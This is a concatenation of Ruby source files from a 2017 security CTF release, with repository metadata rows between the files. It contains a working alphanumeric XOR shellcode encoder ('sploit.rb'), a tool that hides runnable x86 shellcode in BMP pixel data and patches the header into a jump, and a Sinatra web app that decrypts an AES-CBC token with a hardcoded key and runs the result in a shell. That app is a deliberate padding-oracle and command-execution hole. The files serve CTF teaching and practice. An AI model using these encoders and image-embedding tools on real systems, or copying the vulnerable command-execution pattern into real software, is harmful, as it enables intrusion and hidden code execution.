SET = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
CACHE = {}
TEMP_OFFSET = 0x100
def get_xor_values_8(desired)
if((desired & 0x80) != 0)
raise(Exception, "Impossible to encode a value with a 1 in the MSB: 0x%x" % desired)
end
if(CACHE[desired])
return CACHE[desired]
end
# It's possible to encode many values in a single XOR. But, to simplify
# XOR'ing 32-bit values together, we want to be consistent, and using two
# values works for any single byte.
SET.bytes.each do |b1|
SET.bytes.each do |b2|
if((b1 ^ b2) == desired)
CACHE[desired] = [b1, b2]
return [b1, b2]
end
end
end
# Give up :(
puts("Couldn't find an encoding for: 0x%02x" % desired)
exit(1)
end
def get_xor_values_32(desired)
# Separate out the top bits, since we can't easily encode them
top_bits = desired & 0x80808080
desired = desired & 0x7F7F7F7F
b1, b2, b3, b4 = [desired].pack('N').unpack('cccc')
v1 = get_xor_values_8(b1)
v2 = get_xor_values_8(b2)
v3 = get_xor_values_8(b3)
v4 = get_xor_values_8(b4)
result = [
[v1[0], v2[0], v3[0], v4[0]].pack('cccc').unpack('N').pop(),
[v1[1], v2[1], v3[1], v4[1]].pack('cccc').unpack('N').pop(),
]
# Put the most significant bits on the first result so we can deal with them
# later
result[0] = result[0] | top_bits
# puts '0x%08x' % result[0]
# puts '0x%08x' % result[1]
# puts('----------')
# puts('0x%08x' % (result[0] ^ result[1]))
# puts()
return result
end
def set_ecx(value)
if((value & 0x80808080) != 0)
raise(Exception, "Attempting to set ecx to an impossible value: 0x%08x" % value)
end
puts("Attempting to set ecx to 0x%08x..." % value)
buffer = ""
xor = get_xor_values_32(value)
# push dword 0x????????
buffer += "\x68" + [xor[0]].pack('I')
# pop eax
buffer += "\x58"
# xor eax, 0x????????
buffer += "\x35" + [xor[1]].pack('I')
# push eax
buffer += "\x50"
# pop ecx
buffer += "\x59"
end
def get_shellcode(filename)
system("nasm -o asm.tmp %s" % filename)
data = File.new('asm.tmp', 'rb').read()
system("rm -f asm.tmp")
puts("Shellcode: %s" % data.bytes.map { |b| '\x%02x' % b}.join)
return data
end
def get_xor_block(value)
# Figure out which MSB's are set, then remove them for now
value_extras = value & 0x80808080
value &= 0x7F7F7F7F
code = ''
code += "\x68" + [value].pack('N') # push dword 0x????????
code += "\x5A" # pop edx
code += "\x31\x51\x41" # xor [ecx+0x41], edx
if((value_extras & 0x00000080) != 0)
# Make sure the previous stack value is 0
code += "\x57" # push edi (0)
code += "\x57" # push edi (0)
code += "\x5a" # pop edx
code += "\x5a" # pop edx
# Set edx to 0x80
code += "\x6a\x7a" # push 0x7a
code += "\x5a" # pop edx
code += "\x42" # inc edx
code += "\x42" # inc edx
code += "\x42" # inc edx
code += "\x42" # inc edx
code += "\x42" # inc edx
code += "\x42" # inc edx
# Pop it off the stack, mis-aligned to shift it
code += "\x52" # push edx
code += "\x4c" # dec esp
code += "\x4c" # dec esp
code += "\x4c" # dec esp
code += "\x5a" # pop edx
code += "\x31\x51\x41" # xor [ecx+0x41], edx
# Clean up the stack
code += "\x44" # inc esp
code += "\x44" # inc esp
code += "\x44" # inc esp
end
if((value_extras & 0x00008000) != 0)
# Make sure the previous stack value is 0
code += "\x57" # push edi (0)
code += "\x57" # push edi (0)
code += "\x5a" # pop edx
code += "\x5a" # pop edx
# Set edx to 0x80
code += "\x6a\x7a" # push 0x7a
code += "\x5a" # pop edx
code += "\x42" # inc edx
code += "\x42" # inc edx
code += "\x42" # inc edx
code += "\x42" # inc edx
code += "\x42" # inc edx
code += "\x42" # inc edx
# Pop it off the stack, mis-aligned to shift it
code += "\x52" # push edx
code += "\x4c" # dec esp
code += "\x4c" # dec esp
code += "\x5a" # pop edx
code += "\x31\x51\x41" # xor [ecx+0x41], edx
# Clean up the stack
code += "\x44" # inc esp
code += "\x44" # inc esp
end
if((value_extras & 0x00800000) != 0)
# Make sure the previous stack value is 0
code += "\x57" # push edi (0)
code += "\x57" # push edi (0)
code += "\x5a" # pop edx
code += "\x5a" # pop edx
# Set edx to 0x80
code += "\x6a\x7a" # push 0x7a
code += "\x5a" # pop edx
code += "\x42" # inc edx
code += "\x42" # inc edx
code += "\x42" # inc edx
code += "\x42" # inc edx
code += "\x42" # inc edx
code += "\x42" # inc edx
# Pop it off the stack, mis-aligned to shift it
code += "\x52" # push edx
code += "\x4c" # dec esp
code += "\x5a" # pop edx
code += "\x31\x51\x41" # xor [ecx+0x41], edx
# Clean up the stack
code += "\x44" # inc esp
end
if((value_extras & 0x80000000) != 0)
# Make sure the previous stack value is 0
code += "\x6a\x7a" # push 0x7a
code += "\x5a" # pop edx
code += "\x42" # inc edx
code += "\x42" # inc edx
code += "\x42" # inc edx
code += "\x42" # inc edx
code += "\x42" # inc edx
code += "\x42" # inc edx
code += "\x31\x51\x41" # xor [ecx+0x41], edx
end
code += "\x41" # inc ecx
code += "\x41" # inc ecx
code += "\x41" # inc ecx
code += "\x41" # inc ecx
return code
end
if(ARGV.length != 1)
puts("Usage: sploit.rb <shellcode.asm>")
exit(1)
end
# Get the shellcode and pad it to a multiple of 4
shellcode = get_shellcode(ARGV[0])
while((shellcode.length % 4) != 0)
shellcode += 'A'
end
# Break the shellcode into 4-byte integers
shellcode = shellcode.unpack('N*')
# Figure out the xor values
encoded_shellcode = []
shellcode.each do |i|
encoded_shellcode << get_xor_values_32(i)
end
puts("It looks like this will encode cleanly! Woohoo!")
code = ''
# Set edi to 0, so we can use it later
code += "\x68\x41\x41\x41\x41" # push 0x41414141
code += "\x58" # pop eax
code += "\x35\x41\x41\x41\x41" # xor eax, 0x41414141
code += "\x50" # push eax
code += "\x50" # push eax
code += "\x50" # push eax
code += "\x50" # push eax
code += "\x50" # push eax
code += "\x50" # push eax
code += "\x50" # push eax
code += "\x61" # popad
# Set ecx to the start of our encoded data
# (We subtract 0x41 because later, we use xor [ecx+0x41], ...)
code += set_ecx(0x41410000 + TEMP_OFFSET)
# Build the first half of the XOR into the xor command
encoded_shellcode.each do |i|
code += get_xor_block(i[0])
end
# Add some essentially no-op padding ('dec ebp') to get us up to +0x1000
# TODO: Get rid of this once we're done and can calculate this properly
if(code.length > TEMP_OFFSET + 0x41)
raise(Exception, "Shellcode is too long!")
end
while(code.length < TEMP_OFFSET + 0x41)
code += "\x4d"
end
# Now add the second half, which is the part that will be updated
encoded_shellcode.each do |i|
code += [i[1]].pack('N')
end
# Add the final padding (we use \x4d (M), which is 'dec ebp', because we need
# it to be an exact multiple of 4. Usually base64 uses '=' to pad out the
# string, but that does weird bit stuff and it doesn't always decode properly.
# Using an actual Base64 character is safer.
while((code.length() % 4) != 0)
code += "\x4d"
end
# Display it
puts("Base64: %s" % code)
puts("Hex-encoded: %s" % code.bytes.map { |b| '\x%02x' % b}.join)
puts()
puts("rm -f core ; echo -ne '%s' | ./run_raw" % code)
hex = (Base64.decode64(code).bytes.map { |b| '\x%02x' % b}).join
puts()
puts("rm -f core ; echo -ne '%s' | ./b-64-b-tuff" % hex)
| ruby | MIT | 6ee9f99764e096dc2d30499c531925897facc561 | 2026-01-04T17:53:03.076022Z | false |
BSidesSF/ctf-2017-release | https://github.com/BSidesSF/ctf-2017-release/blob/6ee9f99764e096dc2d30499c531925897facc561/forensics/ximage/challenge/create_code.rb | forensics/ximage/challenge/create_code.rb | f = File.open('code.asm', 'w')
f.write <<EOC
bits 32
; f
xor ebx, ebx
mov ebx, 1
; Buffer
call $+5
pop ecx
mov byte [ecx], 0x00
; length
xor edx, edx
mov edx, 1
EOC
str = "***\n%s\n***\n" % ARGV[0]
if(str.nil?)
puts("Usage: ruby ./create_code.rb <str>")
exit(1)
end
current = 0
str.bytes.each do |c|
offset = 0
if(current < c)
offset = (c - current)
f.puts("add byte [ecx], 0x%02x ; '%s'" % [offset, c < 0x20 ? ('0x%02x' % c) : c.chr])
elsif(current > c)
offset = (current - c)
f.puts("sub byte [ecx], 0x%02x ; '%s'" % [offset, c < 0x20 ? ('0x%02x' % c) : c.chr])
end
current = c
f.puts("xor eax, eax")
f.puts("mov al, 4")
f.puts("int 0x80")
f.puts()
end
f.write <<EOC
xor eax, eax
inc al
xor ebx, ebx
int 0x80
EOC
f.close()
| ruby | MIT | 6ee9f99764e096dc2d30499c531925897facc561 | 2026-01-04T17:53:03.076022Z | false |
BSidesSF/ctf-2017-release | https://github.com/BSidesSF/ctf-2017-release/blob/6ee9f99764e096dc2d30499c531925897facc561/forensics/ximage/challenge/embed_code.rb | forensics/ximage/challenge/embed_code.rb | # encoding: ascii-8bit
# "ximage" challenge
# By Ron
# This program can embed arbitrary shellcode (with restrictions) into the
# data section of a bitmap image. It replaces all colours in the image with
# the closest colour consisting of "NOPs" that it's able to find. Then, it
# distributes the code in small chunks throughout.
#
# The restrictions on the shellcode are:
# - Relative jumps/calls will not work (because the code is chunked and moved
# around)
# The exception is call $+5 - that'll work, since it doesn't matter what the
# next line is
# - Anything that use flags (cmp, test) will not work
METHOD_RANDOM = 1
METHOD_3D_DISTANCE = 2
METHOD_XOR_DISTANCE = 3
# On a dithered image, METHOD_RANDOM looks like garbage, but on an image
# made up of solid colours, it looks pretty neat
METHOD = METHOD_3D_DISTANCE
# I don't use these three registers for anything, so I just disable them; if
# you write code that requires them to not get messed up, change these
ESI_NOT_USED = true
EDI_NOT_USED = true
EBP_NOT_USED = true
# If this is set to 'true', the size of the image is modified to end with
# a "jmp" to our code
MAKE_WHOLE_IMAGE_RUNNABLE = true
# If this is true, the image is padded to change the size. Otherwise, the 'size'
# field is changed with no padding. Both look suspicious, but this probably
# looks more suspicious
ADD_PADDING = true
# This is repeated over and over at the end
PADDING = "This is not the flag, but keep looking at the bytes! "
# Any nops of 3 bytes or less should go here
base_nops = [
"\x90", # nop
"\x50\x58", # push eax / pop eax
"\x51\x59", # push ecx / pop ecx
"\x52\x5a", # push edx / pop edx
"\x53\x5b", # push ebx / pop ebx
#"\x54\x5c", # push esp / pop esp # <-- madness lies this way
"\x55\x5d", # push ebp / pop ebp
"\x56\x5e", # push esi / pop esi
"\x57\x5f", # push edi / pop edi
"\x51\x90\x59", # push ecx / nop / pop ecx
"\x06\x07", # push es / pop es
"\x06\x90\x07", # push es / nop / pop es
"\x0C\x00", # or al,0x0
"\x80\xCB\x00", # or bl,0x0
"\x80\xC9\x00", # or cl,0x0
"\x80\xCA\x00", # or dl,0x0
"\x83\xC8\x00", # or eax,byte +0x0
"\x83\xCB\x00", # or ebx,byte +0x0
"\x83\xC9\x00", # or ecx,byte +0x0
"\x83\xCA\x00", # or edx,byte +0x0
"\x83\xCE\x00", # or esi,byte +0x0
"\x83\xCF\x00", # or edi,byte +0x0
"\x83\xCD\x00", # or ebp,byte +0x0
"\x83\xCC\x00", # or esp,byte +0x0
"\x24\xFF", # and al,0xff
"\x80\xE3\xFF", # and bl,0xff
"\x80\xE1\xFF", # and cl,0xff
"\x80\xE2\xFF", # and dl,0xff
"\x2C\x00", # sub al,0x0
"\x80\xEB\x00", # sub bl,0x0
"\x80\xE9\x00", # sub cl,0x0
"\x80\xEA\x00", # sub dl,0x0
"\x04\x00", # add al,0x0
"\x80\xC3\x00", # add bl,0x0
"\x80\xC1\x00", # add cl,0x0
"\x80\xC2\x00", # add dl,0x0
"\x34\x00", # xor al, 0
"\x60\x61", # pushad / popad
"\x60\x90\x61", # pushad / nop / popad
"\x93\x93", # xchg eax, ebx / xchg eax, ebx
"\x83\xC0\x00", # add eax,byte +0x0
"\x83\xC3\x00", # add ebx,byte +0x0
"\x83\xC1\x00", # add ecx,byte +0x0
"\x83\xC2\x00", # add edx,byte +0x0
"\x83\xC6\x00", # add esi,byte +0x0
"\x83\xC7\x00", # add edi,byte +0x0
"\x83\xC5\x00", # add ebp,byte +0x0
"\x83\xC4\x00", # add esp,byte +0x0
"\x83\xE8\x00", # sub eax,byte +0x0
"\x83\xEB\x00", # sub ebx,byte +0x0
"\x83\xE9\x00", # sub ecx,byte +0x0
"\x83\xEA\x00", # sub edx,byte +0x0
"\x83\xEE\x00", # sub esi,byte +0x0
"\x83\xEF\x00", # sub edi,byte +0x0
"\x83\xED\x00", # sub ebp,byte +0x0
"\x83\xEC\x00", # sub esp,byte +0x0
"\xf3\x90", # pause
"\xC1\xE0\x00", # shl eax, 0
"\xC1\xE3\x00", # shl ebx, 0
"\xC1\xE1\x00", # shl ecx, 0
"\xC1\xE2\x00", # shl edx, 0
"\xC1\xE6\x00", # shl esi, 0
"\xC1\xE7\x00", # shl edi, 0
"\xC1\xE5\x00", # shl ebp, 0
"\xC1\xE4\x00", # shl esp, 0
"\xC1\xE8\x00", # shr eax, 0
"\xC1\xEB\x00", # shr ebx, 0
"\xC1\xE9\x00", # shr ecx, 0
"\xC1\xEA\x00", # shr edx, 0
"\xC1\xEE\x00", # shr esi, 0
"\xC1\xEF\x00", # shr edi, 0
"\xC1\xED\x00", # shr ebp, 0
"\xC1\xEC\x00", # shr esp, 0
"\xC1\xF8\x00", # sar eax, 0
"\xC1\xFB\x00", # sar ebx, 0
"\xC1\xF9\x00", # sar ecx, 0
"\xC1\xFA\x00", # sar edx, 0
"\xC1\xFE\x00", # sar esi, 0
"\xC1\xFF\x00", # sar edi, 0
"\xC1\xFD\x00", # sar ebp, 0
"\xC1\xFC\x00", # sar esp, 0
"\xeb\x00", # jmp $+2
"\xf8", # clc - clear carry
"\xfc", # cld - clear direction
"\xd9\xd0", # fnop
"\x70\x00", # jo $+2
"\x71\x00", # jno $+2
"\x72\x00", # jb $+2
"\x73\x00", # jae $+2
"\x74\x00", # jz $+2
"\x75\x00", # jne $+2
"\x76\x00", # jbe $+2
"\x76\x00", # jnz $+2
"\x77\x00", # ja $+2
"\x78\x00", # js $+2
"\x79\x00", # jns $+2
"\x7a\x00", # jp $+2
"\x7b\x00", # jnp $+2
"\x7c\x00", # jl $+2
"\x7d\x00", # jge $+2
"\x7e\x00", # jle $+2
"\x7f\x00", # jg $+2
"\xe3\x00", # jcxz $+2 [jump short if ecx = 0]
"\x89\xC0", # mov eax,eax
"\x89\xDB", # mov ebx,ebx
"\x89\xC9", # mov ecx,ecx
"\x89\xD2", # mov edx,edx
"\x89\xF6", # mov esi,esi
"\x89\xFF", # mov edi,edi
"\x89\xE4", # mov esp,esp
"\x89\xED", # mov ebp,ebp
"\x8D\x00", # lea eax,[eax]
"\x8D\x1B", # lea ebx,[ebx]
"\x8D\x09", # lea ecx,[ecx]
"\x8D\x12", # lea edx,[edx]
"\x8D\x36", # lea esi,[esi]
"\x8D\x3F", # lea edi,[edi]
"\x8D\x24\x24", # lea esp,[esp]
"\x8D\x6D\x00", # lea ebp,[ebp+0x0]
"\x9e", # sehf (store ah into flags)
"\xf9", # stc
"\xfd", # std
"\x3B\x04\x24", # cmp eax,[esp]
"\x3B\x1C\x24", # cmp ebx,[esp]
"\x3B\x0C\x24", # cmp ecx,[esp]
"\x3B\x14\x24", # cmp edx,[esp]
"\x3B\x34\x24", # cmp esi,[esp]
"\x3B\x3C\x24", # cmp edi,[esp]
"\x3B\x2C\x24", # cmp ebp,[esp]
"\x3B\x24\x24", # cmp esp,[esp]
# Note: These ones will mess up shellcode that uses the stack to save values (eg, call $+5 / pop)
# "\x89\x04\x24", # mov [esp],eax
# "\x89\x1C\x24", # mov [esp],ebx
# "\x89\x0C\x24", # mov [esp],ecx
# "\x89\x14\x24", # mov [esp],edx
# "\x89\x34\x24", # mov [esp],esi
# "\x89\x3C\x24", # mov [esp],edi
# "\x89\x2C\x24", # mov [esp],ebp
# "\x89\x24\x24", # mov [esp],esp
# "\x88\x04\x24", # mov [esp],al
# "\x88\x1C\x24", # mov [esp],bl
# "\x88\x0C\x24", # mov [esp],cl
# "\x88\x14\x24", # mov [esp],dl
]
# Some nops that we only use if registers can be messed up
base_nops << "\x03\x34\x24" if ESI_NOT_USED # add esi,[esp]
base_nops << "\x03\x3C\x24" if EDI_NOT_USED # add edi,[esp]
base_nops << "\x03\x2C\x24" if EBP_NOT_USED # add ebp,[esp]
base_nops << "\x2B\x34\x24" if ESI_NOT_USED # sub esi,[esp]
base_nops << "\x2B\x3C\x24" if EDI_NOT_USED # sub edi,[esp]
base_nops << "\x2B\x2C\x24" if EBP_NOT_USED # sub ebp,[esp]
base_nops << "\x33\x34\x24" if ESI_NOT_USED # xor esi,[esp]
base_nops << "\x33\x3C\x24" if EDI_NOT_USED # xor edi,[esp]
base_nops << "\x33\x2C\x24" if EBP_NOT_USED # xor ebp,[esp]
base_nops << "\x0B\x34\x24" if ESI_NOT_USED # or esi,[esp]
base_nops << "\x0B\x3C\x24" if EDI_NOT_USED # or edi,[esp]
base_nops << "\x0B\x2C\x24" if EBP_NOT_USED # or ebp,[esp]
base_nops << "\x8B\x34\x24" if ESI_NOT_USED # mov esi,[esp]
base_nops << "\x8B\x3C\x24" if EDI_NOT_USED # mov edi,[esp]
base_nops << "\x8B\x2C\x24" if EBP_NOT_USED # mov ebp,[esp]
# For payloads that have a lot of possible values
0.upto(255) do |i|
c = i.chr
base_nops << ("\x83\xf8" + c) # cmp eax, n
base_nops << ("\x83\xFB" + c) # cmp ebx, n
base_nops << ("\x83\xF9" + c) # cmp ecx, n
base_nops << ("\x83\xFA" + c) # cmp edx, n
base_nops << ("\x83\xFE" + c) # cmp esi, n
base_nops << ("\x83\xFF" + c) # cmp edi, n
base_nops << ("\x83\xFD" + c) # cmp ebp, n
base_nops << ("\x83\xFC" + c) # cmp esp, n
base_nops << ("\x3C" + c) # cmp al, n
base_nops << ("\x80\xFB" + c) # cmp bl, n
base_nops << ("\x80\xF9" + c) # cmp cl, n
base_nops << ("\x80\xFA" + c) # cmp dl, n
base_nops << ("\xA8" + c) # test al, n
base_nops << ("\xF6\xC3" + c) # test bl, n
base_nops << ("\xF6\xC1" + c) # test cl, n
base_nops << ("\xF6\xC2" + c) # test dl, n
base_nops << ("\x83\xc6" + c) if ESI_NOT_USED # add esi, n
base_nops << ("\x83\xc7" + c) if EDI_NOT_USED # add edi, n
base_nops << ("\x83\xc5" + c) if EBP_NOT_USED # add ebp, n
base_nops << ("\x83\xef" + c) if ESI_NOT_USED # sub esi, n
base_nops << ("\x83\xee" + c) if EDI_NOT_USED # sub edi, n
base_nops << ("\x83\xed" + c) if EBP_NOT_USED # sub ebp, n
base_nops << ("\x83\xf7" + c) if ESI_NOT_USED # xor esi, n
base_nops << ("\x83\xf6" + c) if EDI_NOT_USED # xor edi, n
base_nops << ("\x83\xf5" + c) if EBP_NOT_USED # xor ebp, n
base_nops << ("\x83\xcf" + c) if ESI_NOT_USED # or esi, n
base_nops << ("\x83\xce" + c) if EDI_NOT_USED # or edi, n
base_nops << ("\x83\xcd" + c) if EBP_NOT_USED # or ebp, n
base_nops << ("\x83\xe7" + c) if ESI_NOT_USED # and esi, n
base_nops << ("\x83\xe6" + c) if EDI_NOT_USED # and edi, n
base_nops << ("\x83\xe5" + c) if EBP_NOT_USED # and ebp, n
base_nops << ("\xc1\xe7" + c) if ESI_NOT_USED # shl esi, n
base_nops << ("\xc1\xe6" + c) if EDI_NOT_USED # shl edi, n
base_nops << ("\xc1\xe5" + c) if EBP_NOT_USED # shl ebp, n
base_nops << ("\xc1\xef" + c) if ESI_NOT_USED # shr esi, n
base_nops << ("\xc1\xee" + c) if EDI_NOT_USED # shr edi, n
base_nops << ("\xc1\xed" + c) if EBP_NOT_USED # shr ebp, n
base_nops << ("\xc1\xff" + c) if ESI_NOT_USED # sar esi, n
base_nops << ("\xc1\xfe" + c) if EDI_NOT_USED # sar edi, n
base_nops << ("\xc1\xfd" + c) if EBP_NOT_USED # sar ebp, n
end
# Make a list of one-byte nops so we can use them as padding
one_byte_base_nops = []
base_nops.each do |nop|
if(nop.length == 1)
one_byte_base_nops << nop
end
end
# Expand nops to all be three bytes
nops = []
base_nops.each do |nop|
if(nop.length == 1)
# Nops with one byte are the best, because we can combine them all with each other in various ways
one_byte_base_nops.each do |pad1|
nops << "#{nop}#{nop}#{pad1}"
nops << "#{nop}#{pad1}#{nop}"
nops << "#{pad1}#{nop}#{nop}"
one_byte_base_nops.each do |pad2|
nops << "#{pad1}#{pad2}#{nop}"
nops << "#{pad1}#{nop}#{pad2}"
nops << "#{nop}#{pad1}#{pad2}"
end
end
elsif(nop.length == 2)
# Two-byte nops can have a one-byte nop either before or after
one_byte_base_nops.each do |pad|
nops << "#{pad}#{nop}"
nops << "#{nop}#{pad}"
end
else
nops << nop
end
end
puts("We have #{nops.length} nops available!")
nops.each do |nop|
if(nop.length != 3)
puts "Invalid nop: %s" % nop.unpack("H*")
exit(1)
end
end
def get_closest_nop_to(nops, pixel)
@pixel_cache = @pixel_cache || {}
if(@pixel_cache[pixel].nil?)
if(METHOD == METHOD_RANDOM)
@pixel_cache[pixel] = nops.sample
elsif(METHOD == METHOD_3D_DISTANCE)
best_distance = 99999999
best_nop = "\x90\x90\x90"
r, g, b = pixel.unpack("CCC")
if r.nil? or g.nil? or b.nil?
puts "something is nil?"
end
r = r || 0
g = g || 0
b = b || 0
nops.each do |nop|
r2, g2, b2 = nop.unpack("CCC")
distance = (((r2 - r) ** 2) + ((g2 - g) ** 2) + ((b2 - b) ** 2))
if(distance < best_distance)
best_distance = distance
best_nop = nop
end
end
@pixel_cache[pixel] = best_nop
elsif(METHOD == METHOD_XOR_DISTANCE)
best_distance = 99999999
best_nop = "\x90\x90\x90"
r, g, b = pixel.unpack("CCC")
if r.nil? or g.nil? or b.nil?
puts "something is nil?"
end
r = r || 0
g = g || 0
b = b || 0
nops.each do |nop|
r2, g2, b2 = nop.unpack("CCC")
distance = (r ^ r2) + (g ^ g2) + (b ^ b2)
if(distance < best_distance)
best_distance = distance
best_nop = nop
end
end
@pixel_cache[pixel] = best_nop
else
puts("Unknown method #{METHOD}")
exit(1)
end
end
return @pixel_cache[pixel]
end
HEADER_LENGTH = 0x36
def get_header(size, width, height)
magic = 0x4d42 # "BM"
reserved1 = 0
reserved2 = 2
data_offset = HEADER_LENGTH
header = [magic, size, reserved1, reserved2, data_offset].pack("vVvvV")
bitmapinfo_size = 40
planes = 1
bits_per_pixel = 24
remainder = "\x00\x00\x00\x00\x20\xb8\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
puts("Writing bitmap: size = %08x, width = %08x, height = %08x" % [size, width, height])
header += [bitmapinfo_size, width, height, planes, bits_per_pixel, remainder].pack("VVVvvA*")
return header
end
def die(msg, exit_code = 1)
$stderr.puts(msg)
exit(exit_code)
end
if(ARGV.length != 3)
puts("Usage: embed_code.rb <shellcode.asm> <input.bmp> <output.bmp>")
exit(1)
end
# First, compile the shellcode
system("nasm -o /dev/null -l code.lst #{ARGV[0]}") || die("Couldn't assemble the shellcode: #{ARGV[0]}")
codes = []
File.open("code.lst", "r") do |file|
file.read().split(/\n/).each do |line|
line = line[16..-1].gsub(/ .*/, '')
if(line.length > 0)
line = [line].pack("H*")
# Make sure the ling is a multiple of 3 bytes
while((line.length % 3) != 0) do
line = line + "\x90"
end
codes << line
end
end
end
#system("rm code.lst")
puts("The embedded code will be made up of #{codes.count} instructions with a total size of #{codes.join.length} bytes, which will take up #{codes.join.length / 3} pixels")
# This will contain the new bitmap
result = ''
size = 0
width = 0
height = 0
File.open(ARGV[1], "rb") do |bitmap|
bitmap_file_header = bitmap.read(14)
header, size, _, _, data_offset = bitmap_file_header.unpack("vVvvV")
if(header != 0x4d42)
puts("Not a BMP!")
exit(1)
end
puts("Data offset: 0x%x" % data_offset)
puts("Size: %d" % size)
gdi_size = bitmap.read(4).unpack("V")
if(gdi_size == 12 || gdi_size == 64)
puts("This appears to be an OS/2 bitmap, which we don't support!")
exit(1)
end
bitmapinfoheader = bitmap.read(40)
width, height, planes, bits_per_pixel = bitmapinfoheader.unpack("VVvv")
puts("width: #{width}")
puts("height: #{height}")
puts("planes: #{planes}")
puts("bits_per_pixel: #{bits_per_pixel}")
if(bits_per_pixel != 24)
puts("Sorry, we only accept 24-bit encodings right now!")
exit(1)
end
# Start at the beginning and read the entire header
bitmap.pos = 0
# result = bitmap.read(data_offset)
# result.bytes.each do |b|
# print("\\x%02x" % b)
# end
# Figure out how many bytes we have to work with
byte_count = (size - data_offset)
pixel_count = byte_count / 3 # 24 bits
puts("Image contains #{byte_count} bytes, or #{pixel_count} pixels")
# Get the actual data as an array
bitmap.pos = data_offset
data = bitmap.read(byte_count)
# Break the data into pixels
pixels = []
data = data.chars.each_slice(3) do |slice|
pixels << slice.join
end
# Make a list of which bytes are going to be replaced by codes
code_offsets = []
while(code_offsets.length < codes.length)
code_offsets << rand((pixel_count - 0x16) / 4) # By dividing by 4 now and multiplying later, we reserve 12 bytes / operation
code_offsets.uniq!
code_offsets.sort!
end
code_offsets = code_offsets.map { |i| i * 4 }
# How many pixels to ignore (for multi-pixel instructions)
ignore_pixels = 0
# Which code instruction we're at
code_offset = 0
index = 0
pixels.each do |pixel|
if((index % 665) == 0)
puts("#{ARGV[1]} :: index #{index} of #{pixels.length}")
end
# If we're at one of our code offsets, put code there
if(code_offsets[code_offset] == index)
result.concat(codes[code_offset])
ignore_pixels = (codes[code_offset].length / 3) - 1
code_offset += 1
else
if(ignore_pixels > 0)
ignore_pixels -= 1
else
result.concat(get_closest_nop_to(nops, pixel))
end
end
index += 1
end
end
# Pad the image to make it runnable, if we want to
if(MAKE_WHOLE_IMAGE_RUNNABLE)
size = (result.length + HEADER_LENGTH) & 0x0000FFFF
goal = 0xeb | ((HEADER_LENGTH - 0x04) << 8)
difference = goal - size
if(difference < 0)
difference += 0x10000
end
if(ADD_PADDING)
# Pad it with a funny string
# (note: padding isn't necessary here, but it's amusing to me)
padding = "this is not the flag you're looking for, but keep looking!! :: "
pad = padding * (difference / padding.length)
remaining = difference - pad.length
pad = pad + "A" * remaining
result = result + pad
File.open(ARGV[2], 'wb') do |out|
out.write(get_header(result.length + HEADER_LENGTH, width, height))
out.write(result)
end
else
File.open(ARGV[2], 'wb') do |out|
out.write(get_header(result.length + HEADER_LENGTH + difference, width, height))
out.write(result)
end
end
else
File.open(ARGV[2], 'wb') do |out|
out.write(get_header(result.length + HEADER_LENGTH, width, height))
out.write(result)
end
end
| ruby | MIT | 6ee9f99764e096dc2d30499c531925897facc561 | 2026-01-04T17:53:03.076022Z | false |
BSidesSF/ctf-2017-release | https://github.com/BSidesSF/ctf-2017-release/blob/6ee9f99764e096dc2d30499c531925897facc561/forensics/ximage/solution/extract_code.rb | forensics/ximage/solution/extract_code.rb | if(ARGV.length != 2)
puts("Usage: extract_code.rb <input.bmp> <output.bin>")
exit(1)
end
# This will contain the new bitmap
result = ""
File.open(ARGV[0], "rb") do |bitmap|
bitmap_file_header = bitmap.read(14)
header, size, reserved1, reserved2, data_offset = bitmap_file_header.unpack("vVvvV")
if(header != 0x4d42)
puts("Not a BMP!")
exit(1)
end
puts("Data offset: 0x%x" % data_offset)
puts("Size: %d" % size)
gdi_size = bitmap.read(4).unpack("V")
if(gdi_size == 12 || gdi_size == 64)
puts("This appears to be an OS/2 bitmap, which we don't support!")
exit(1)
end
bitmapinfoheader = bitmap.read(40)
width, height, planes, bits_per_pixel = bitmapinfoheader.unpack("VVvv")
puts("width: #{width}")
puts("height: #{height}")
puts("planes: #{planes}")
puts("bits_per_pixel: #{bits_per_pixel}")
if(bits_per_pixel != 24)
puts("Sorry, we only accept 24-bit encodings right now!")
exit(1)
end
# Figure out how many bytes we have to work with
byte_count = (size - data_offset)
pixel_count = byte_count / 3 # 24 bits
puts("Image contains #{byte_count} bytes, or #{pixel_count} pixels")
# Get the actual data as an array
bitmap.pos = data_offset
result = bitmap.read(byte_count)
end
File.open(ARGV[1], 'wb') do |out|
out.write(result)
end
| ruby | MIT | 6ee9f99764e096dc2d30499c531925897facc561 | 2026-01-04T17:53:03.076022Z | false |
BSidesSF/ctf-2017-release | https://github.com/BSidesSF/ctf-2017-release/blob/6ee9f99764e096dc2d30499c531925897facc561/web/delphi-status/challenge/app.rb | web/delphi-status/challenge/app.rb | require "base64"
require "sinatra"
require "openssl"
set :bind, '0.0.0.0'
set :port, 8080
MODE = "AES-256-CBC"
KEY = "6b01fc7df519fc5074c340038cbc4e0a"
def encrypt(data, key)
iv = (0...16).map { rand(255).chr }.join
c = OpenSSL::Cipher::Cipher.new(MODE)
c.encrypt
c.key = key
c.iv = iv
return iv + c.update(data) + c.final()
end
def decrypt(data, key)
iv, data = data.unpack('a16a*')
if(data.nil? or data.length < 16)
raise(ArgumentError, "Encrypted string is too short!")
end
begin
c = OpenSSL::Cipher::Cipher.new(MODE)
c.decrypt
c.key = key
c.iv = iv
return c.update(data) + c.final()
rescue OpenSSL::Cipher::CipherError
return nil
end
end
def get_cmd(cmd)
return encrypt(cmd, KEY).unpack("H*")[0]
end
get "/" do
str = []
str << "<script type='text/javascript'>"
str << " function go(cmd) {"
str << " document.getElementById('cmd').src = cmd;"
str << " }"
str << "</script>"
str << "<p>What would you like to do?</p>"
str << "<ul>"
str << "<li><a href='#' onClick=go('/execute/#{get_cmd('netstat -an')}')>netstat</a>"
str << "<li><a href='#' onClick=go('/execute/#{get_cmd('ps aux')}')>ps</a>"
str << "<li><a href='#' onClick=go('/execute/#{get_cmd('echo "This is a longer string that I want to use to test multiple-block patterns"')}')>echo something</a>"
str << "</ul>"
str << "<iframe id='cmd' src='about:blank' />"
return str.join("\n")
end
get "/execute/:cmd" do |cmd|
begin
cmd = decrypt([cmd].pack("H*"), KEY)
if(cmd.nil?)
return "Failed to decrypt!"
else
puts('RUNNING => %s' % cmd)
return '<pre>' + `#{cmd}` + '</pre>'
end
rescue Exception => e
return('<pre>Error: %s</pre>' % e.to_s)
end
end | ruby | MIT | 6ee9f99764e096dc2d30499c531925897facc561 | 2026-01-04T17:53:03.076022Z | false |
